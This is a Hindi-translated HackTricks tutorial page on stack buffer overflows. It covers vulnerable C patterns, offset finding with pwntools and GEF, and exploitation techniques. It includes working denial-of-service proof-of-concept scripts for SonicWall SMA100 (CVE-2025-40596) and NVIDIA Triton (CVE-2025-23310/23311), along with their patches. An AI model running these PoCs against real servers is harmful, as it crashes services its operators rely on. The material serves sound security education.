mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
188 lines
17 KiB
Markdown
188 lines
17 KiB
Markdown
# Stack Overflow
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## What is a Stack Overflow
|
||
|
||
A **stack overflow** एक सुरक्षा कमी है जो तब होती है जब एक प्रोग्राम स्टैक में उस डेटा से अधिक डेटा लिखता है जितना कि उसे रखने के लिए आवंटित किया गया है। यह अतिरिक्त डेटा **सन्निकट मेमोरी स्थान को ओवरराइट** करेगा, जिससे वैध डेटा का भ्रष्टाचार, नियंत्रण प्रवाह में विघटन, और संभावित रूप से दुर्भावनापूर्ण कोड का निष्पादन हो सकता है। यह समस्या अक्सर असुरक्षित कार्यों के उपयोग के कारण उत्पन्न होती है जो इनपुट पर सीमा जांच नहीं करते हैं।
|
||
|
||
इस ओवरराइट का मुख्य समस्या यह है कि **सहेजा गया निर्देश सूचक (EIP/RIP)** और **सहेजा गया बेस सूचक (EBP/RBP)** जो पिछले कार्य में लौटने के लिए होते हैं, **स्टैक पर संग्रहीत** होते हैं। इसलिए, एक हमलावर उन्हें ओवरराइट करने में सक्षम होगा और **प्रोग्राम के निष्पादन प्रवाह को नियंत्रित** कर सकेगा।
|
||
|
||
यह सुरक्षा कमी आमतौर पर इसलिए उत्पन्न होती है क्योंकि एक कार्य **स्टैक में आवंटित मात्रा से अधिक बाइट्स की कॉपी करता है**, जिससे अन्य स्टैक के हिस्सों को ओवरराइट करने में सक्षम होता है।
|
||
|
||
इससे प्रभावित कुछ सामान्य कार्य हैं: **`strcpy`, `strcat`, `sprintf`, `gets`**... इसके अलावा, **`fgets`**, **`read` & `memcpy`** जैसे कार्य जो **लंबाई तर्क** लेते हैं, यदि निर्दिष्ट लंबाई आवंटित से अधिक है तो एक असुरक्षित तरीके से उपयोग किए जा सकते हैं।
|
||
|
||
उदाहरण के लिए, निम्नलिखित कार्य असुरक्षित हो सकते हैं:
|
||
```c
|
||
void vulnerable() {
|
||
char buffer[128];
|
||
printf("Enter some text: ");
|
||
gets(buffer); // This is where the vulnerability lies
|
||
printf("You entered: %s\n", buffer);
|
||
}
|
||
```
|
||
### Stack Overflows ऑफसेट्स खोजना
|
||
|
||
Stack overflows खोजने का सबसे सामान्य तरीका `A`s का बहुत बड़ा इनपुट देना है (जैसे `python3 -c 'print("A"*1000)'`) और एक `Segmentation Fault` की उम्मीद करना जो यह संकेत करता है कि **पता `0x41414141` को एक्सेस करने की कोशिश की गई थी**।
|
||
|
||
इसके अलावा, एक बार जब आप यह पता लगा लेते हैं कि Stack Overflow की कमजोरी है, तो आपको यह पता लगाने की आवश्यकता होगी कि **रिटर्न एड्रेस को ओवरराइट करने के लिए कितना ऑफसेट चाहिए**, इसके लिए आमतौर पर **De Bruijn अनुक्रम** का उपयोग किया जाता है। जो एक दिए गए वर्णमाला के आकार _k_ और लंबाई _n_ के उप अनुक्रमों के लिए एक **चक्रीय अनुक्रम है जिसमें लंबाई _n_ का हर संभव उप अनुक्रम ठीक एक बार एक सन्निहित उप अनुक्रम के रूप में प्रकट होता है**।
|
||
|
||
इस तरह, EIP को नियंत्रित करने के लिए आवश्यक ऑफसेट को हाथ से पता लगाने के बजाय, इन अनुक्रमों में से एक को पैडिंग के रूप में उपयोग करना संभव है और फिर उन बाइट्स का ऑफसेट ढूंढना संभव है जो इसे ओवरराइट करने के अंत में हैं।
|
||
|
||
इसके लिए **pwntools** का उपयोग करना संभव है:
|
||
```python
|
||
from pwn import *
|
||
|
||
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
|
||
pattern = cyclic(1000)
|
||
|
||
# This is an example value that you'd have found in the EIP/IP register upon crash
|
||
eip_value = p32(0x6161616c)
|
||
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
|
||
print(f"The offset is: {offset}")
|
||
```
|
||
या **GEF**:
|
||
```bash
|
||
#Patterns
|
||
pattern create 200 #Generate length 200 pattern
|
||
pattern search "avaaawaa" #Search for the offset of that substring
|
||
pattern search $rsp #Search the offset given the content of $rsp
|
||
```
|
||
## स्टैक ओवरफ्लोज़ का शोषण
|
||
|
||
एक ओवरफ्लो के दौरान (मान लेते हैं कि ओवरफ्लो का आकार पर्याप्त बड़ा है) आप स्टैक के अंदर स्थानीय वेरिएबल्स के मानों को **ओवरराइट** करने में सक्षम होंगे जब तक कि आप सुरक्षित **EBP/RBP और EIP/RIP (या इससे भी अधिक)** तक नहीं पहुँच जाते।\
|
||
इस प्रकार की भेद्यता का दुरुपयोग करने का सबसे सामान्य तरीका **रिटर्न पते को संशोधित करना** है ताकि जब फ़ंक्शन समाप्त हो, तो **नियंत्रण प्रवाह उस पते पर पुनर्निर्देशित हो जाए जो उपयोगकर्ता ने निर्दिष्ट किया है**।
|
||
|
||
हालांकि, अन्य परिदृश्यों में केवल **स्टैक में कुछ वेरिएबल्स के मानों को ओवरराइट करना** शोषण के लिए पर्याप्त हो सकता है (जैसे आसान CTF चुनौतियों में)।
|
||
|
||
### Ret2win
|
||
|
||
इस प्रकार की CTF चुनौतियों में, बाइनरी के अंदर एक **फंक्शन** है जो **कभी नहीं बुलाया जाता** और जिसे **आपको जीतने के लिए बुलाना होगा**। इन चुनौतियों के लिए आपको केवल **रिटर्न पते को ओवरराइट करने के लिए ऑफसेट** ढूंढना है और **बुलाने के लिए फंक्शन का पता** लगाना है (आमतौर पर [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) अक्षम होगा) ताकि जब कमजोर फ़ंक्शन लौटे, तो छिपा हुआ फ़ंक्शन बुलाया जाए:
|
||
|
||
{{#ref}}
|
||
ret2win/
|
||
{{#endref}}
|
||
|
||
### स्टैक शेलकोड
|
||
|
||
इस परिदृश्य में हमलावर स्टैक में एक शेलकोड रख सकता है और नियंत्रित EIP/RIP का दुरुपयोग करके शेलकोड पर कूद सकता है और मनमाने कोड को निष्पादित कर सकता है:
|
||
|
||
{{#ref}}
|
||
stack-shellcode/
|
||
{{#endref}}
|
||
|
||
### ROP और Ret2... तकनीकें
|
||
|
||
यह तकनीक मुख्य सुरक्षा को बायपास करने के लिए मौलिक ढांचा है: **कोई निष्पादन योग्य स्टैक (NX)**। और यह कई अन्य तकनीकों (ret2lib, ret2syscall...) को निष्पादित करने की अनुमति देती है जो बाइनरी में मौजूदा निर्देशों का दुरुपयोग करके मनमाने आदेशों को निष्पादित करेंगी:
|
||
|
||
{{#ref}}
|
||
../rop-return-oriented-programing/
|
||
{{#endref}}
|
||
|
||
## हीप ओवरफ्लोज़
|
||
|
||
एक ओवरफ्लो हमेशा स्टैक में नहीं होगा, यह **हीप** में भी हो सकता है, उदाहरण के लिए:
|
||
|
||
{{#ref}}
|
||
../libc-heap/heap-overflow.md
|
||
{{#endref}}
|
||
|
||
## सुरक्षा के प्रकार
|
||
|
||
भेद्यताओं के शोषण को रोकने के लिए कई सुरक्षा उपाय हैं, उन्हें देखें:
|
||
|
||
{{#ref}}
|
||
../common-binary-protections-and-bypasses/
|
||
{{#endref}}
|
||
|
||
### वास्तविक-विश्व उदाहरण: CVE-2025-40596 (SonicWall SMA100)
|
||
|
||
क्यों **`sscanf` को अविश्वसनीय इनपुट को पार्स करने के लिए कभी भी भरोसा नहीं किया जाना चाहिए** इसका एक अच्छा प्रदर्शन 2025 में SonicWall के SMA100 SSL-VPN उपकरण में सामने आया।
|
||
`/usr/src/EasyAccess/bin/httpd` के अंदर कमजोर रूटीन किसी भी URI से संस्करण और एंडपॉइंट निकालने का प्रयास करता है जो `/__api__/` से शुरू होता है:
|
||
```c
|
||
char version[3];
|
||
char endpoint[0x800] = {0};
|
||
/* simplified proto-type */
|
||
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||
```
|
||
1. पहला रूपांतरण (`%2s`) सुरक्षित रूप से **दो** बाइट्स को `version` में स्टोर करता है (जैसे कि `"v1"`).
|
||
2. दूसरा रूपांतरण (`%s`) **कोई लंबाई निर्दिष्ट नहीं करता**, इसलिए `sscanf` **पहले NUL बाइट** तक कॉपी करना जारी रखेगा.
|
||
3. क्योंकि `endpoint` **स्टैक** पर स्थित है और इसकी लंबाई **0x800 बाइट्स** है, 0x800 बाइट्स से लंबा पथ प्रदान करने से बफर के बाद जो कुछ भी है, वह सब भ्रष्ट हो जाता है ‑ जिसमें **स्टैक कैनरी** और **सहेजा गया लौटने का पता** शामिल है.
|
||
|
||
एकल-पंक्ति प्रमाण-का-धारणा क्रैश को **प्रमाणन से पहले** ट्रिगर करने के लिए पर्याप्त है:
|
||
```python
|
||
import requests, warnings
|
||
warnings.filterwarnings('ignore')
|
||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||
requests.get(url, verify=False)
|
||
```
|
||
हालाँकि स्टैक कैनरी प्रक्रिया को समाप्त कर देते हैं, एक हमलावर को फिर भी एक **Denial-of-Service** प्राइमिटिव प्राप्त होता है (और, अतिरिक्त जानकारी लीक के साथ, संभवतः कोड-एक्ज़ीक्यूशन)। सबक सरल है:
|
||
|
||
* हमेशा एक **अधिकतम फ़ील्ड चौड़ाई** प्रदान करें (जैसे `%511s`)।
|
||
* `snprintf`/`strncpy_s` जैसे सुरक्षित विकल्पों को प्राथमिकता दें।
|
||
|
||
### वास्तविक-विश्व उदाहरण: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||
|
||
NVIDIA का Triton Inference Server (≤ v25.06) में कई **स्टैक-आधारित ओवरफ्लो** शामिल थे जो इसके HTTP API के माध्यम से पहुँचे जा सकते थे।
|
||
कमजोर पैटर्न बार-बार `http_server.cc` और `sagemaker_server.cc` में दिखाई दिया:
|
||
```c
|
||
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
|
||
if (n > 0) {
|
||
/* allocates 16 * n bytes on the stack */
|
||
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
|
||
alloca(sizeof(struct evbuffer_iovec) * n);
|
||
...
|
||
}
|
||
```
|
||
1. `evbuffer_peek` (libevent) वर्तमान HTTP अनुरोध शरीर को बनाने वाले **आंतरिक बफर खंडों की संख्या** लौटाता है।
|
||
2. प्रत्येक खंड **16-बाइट** `evbuffer_iovec` को **स्टैक** पर `alloca()` के माध्यम से आवंटित करता है - **कोई ऊपरी सीमा नहीं**।
|
||
3. **HTTP _chunked transfer-encoding_** का दुरुपयोग करके, एक क्लाइंट अनुरोध को **सैकड़ों-हजारों 6-बाइट के टुकड़ों** में विभाजित करने के लिए मजबूर कर सकता है (`"1\r\nA\r\n"`)। इससे `n` अनियंत्रित रूप से बढ़ता है जब तक कि स्टैक समाप्त नहीं हो जाता।
|
||
|
||
#### Proof-of-Concept (DoS)
|
||
```python
|
||
#!/usr/bin/env python3
|
||
import socket, sys
|
||
|
||
def exploit(host="localhost", port=8000, chunks=523_800):
|
||
s = socket.create_connection((host, port))
|
||
s.sendall((
|
||
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
|
||
f"Host: {host}:{port}\r\n"
|
||
"Content-Type: application/octet-stream\r\n"
|
||
"Inference-Header-Content-Length: 0\r\n"
|
||
"Transfer-Encoding: chunked\r\n"
|
||
"Connection: close\r\n\r\n"
|
||
).encode())
|
||
|
||
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
|
||
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
|
||
s.sendall(b"0\r\n\r\n") # end of chunks
|
||
s.close()
|
||
|
||
if __name__ == "__main__":
|
||
exploit(*sys.argv[1:])
|
||
```
|
||
A ~3 MB अनुरोध सुरक्षित लौटने के पते को ओवरराइट करने और डिफ़ॉल्ट निर्माण पर **क्रैश** करने के लिए पर्याप्त है।
|
||
|
||
#### पैच और शमन
|
||
25.07 रिलीज़ असुरक्षित स्टैक आवंटन को **हीप-बैक्ड `std::vector`** से बदलती है और `std::bad_alloc` को सुचारू रूप से संभालती है:
|
||
```c++
|
||
std::vector<evbuffer_iovec> v_vec;
|
||
try {
|
||
v_vec = std::vector<evbuffer_iovec>(n);
|
||
} catch (const std::bad_alloc &e) {
|
||
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
|
||
}
|
||
struct evbuffer_iovec *v = v_vec.data();
|
||
```
|
||
सीखें:
|
||
* कभी भी `alloca()` को हमलावर-नियंत्रित आकारों के साथ कॉल न करें।
|
||
* चंक्ड अनुरोध सर्वर-साइड बफर्स के आकार को नाटकीय रूप से बदल सकते हैं।
|
||
* किसी भी मान को मान्य करें / सीमित करें जो क्लाइंट इनपुट से प्राप्त होता है *पहले* इसे मेमोरी आवंटनों में उपयोग करने से पहले।
|
||
|
||
## संदर्भ
|
||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|